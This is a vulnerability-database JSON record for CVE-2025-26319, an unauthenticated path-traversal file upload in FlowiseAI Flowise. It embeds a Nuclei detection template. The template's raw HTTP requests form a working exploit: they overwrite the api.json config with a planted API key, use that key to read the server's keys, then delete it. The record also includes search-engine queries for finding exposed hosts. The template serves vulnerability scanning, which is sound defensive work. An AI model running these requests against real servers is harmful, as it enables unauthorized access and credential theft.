{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-26319/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-26319/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-26319/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-26319/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-26319/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-26319"},"sightings":{"href":"/api/v1/sightings/cve-2025-26319"}},"enrichments":{"cisa-kev":{"kev":false},"epss":{"epss":0.55869,"kev":false,"percentile":0.98999},"nuclei":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-26319.yaml","nuclei_template_severity":"high","nuclei_template_yaml":"id: CVE-2025-26319\n\ninfo:\n  name: FlowiseAI Flowise <= 2.2.6 - Arbitrary File Upload\n  author: iamnoooob,rootxharsh,pdresearch\n  severity: high\n  description: |\n    FlowiseAI Flowise version 2.2.6 and below contains an arbitrary file upload vulnerability in the /api/v1/attachments endpoint. This vulnerability allows an unauthenticated attacker to upload files outside the intended directory through path traversal, potentially leading to API key exposure and remote code execution. The vulnerability can be exploited by uploading a malicious file to overwrite the .flowise/api.json configuration file.\n  impact: |\n    Unauthenticated attackers can exploit path traversal in file uploads to overwrite the api.json configuration file, potentially exposing API keys and achieving remote code execution.\n  remediation: |\n    Upgrade to FlowiseAI Flowise version 2.2.7 or later that properly validates file upload paths.\n  reference:\n    - https://github.com/advisories/GHSA-69jq-qr7w-j7qh\n    - https://github.com/FlowiseAI/Flowise\n    - https://nvd.nist.gov/vuln/detail/CVE-2025-26319\n  classification:\n    epss-score: 0.55869\n    epss-percentile: 0.98999\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 10.0\n    cve-id: CVE-2025-26319\n    cwe-id: CWE-434\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: FlowiseAI\n    product: Flowise\n    shodan-query: title:\"Flowise\"\n    fofa-query: title=\"Flowise\"\n  tags: cve,cve2025,flowise,fileupload,intrusive,vkev,vuln,ai\n\nflow: http(1) && http(2)\n\nhttp:\n  - raw:\n      - |\n        POST /api/v1/attachments/..%2f..%2f..%2f..%2f..%2froot%2f/.flowise HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: multipart/form-data; boundary=----WebKitFormBoundarydTh0yj8zypRgPT1w\n\n        ------WebKitFormBoundarydTh0yj8zypRgPT1w\n        Content-Disposition: form-data; name=\"files\";filename=\"api.json\"\n        Content-type: text/plain\n\n        [{\n        \"keyName\":\"=\",\n        \"apiKey\":\"24NHxsKIZi7Ee34rl7FtW3dtW1IuYjFQDegXP_Bn8yQ\",\n        \"apiSecret\":\"8648f55db62716a6577b565efb66145b9ad8c50884c57ae8d4f03c4cd8b3ee27b1f77804d320f08bac8aa4b0dbf58a39dacbb767eb05efe1e57d5c66e5d48473.af4b3f229bd11ac5\",\n        \"createdAt\":\"111\",\n        \"id\":\"1111\"\n        }]\n        ------WebKitFormBoundarydTh0yj8zypRgPT1w--\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'name\":'\n          - 'mimeType\":\"text/plain'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        GET /api/v1/apikey HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer 24NHxsKIZi7Ee34rl7FtW3dtW1IuYjFQDegXP_Bn8yQ\n\n      - |\n        DELETE /api/v1/apikey/1111 HTTP/1.1\n        Host: {{Hostname}}\n        Authorization: Bearer 24NHxsKIZi7Ee34rl7FtW3dtW1IuYjFQDegXP_Bn8yQ\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - 'apiKey\":\"'\n          - 'apiSecret\":'\n          - 'chatFlows'\n        condition: and\n\n      - type: status\n        status:\n          - 200\n# digest: 4a0a0047304502203757201b7fc6dcb3cb39a26da193b3db12242ea035496f58e6e506ed30797a41022100946b6a9ef15f2235b0fe081f19bbd9ef314ea07dafdf996ae27f40a2a83075ad:922c64590222798bb761d5b6d8e72950"}},"vuln_id":"cve-2025-26319"}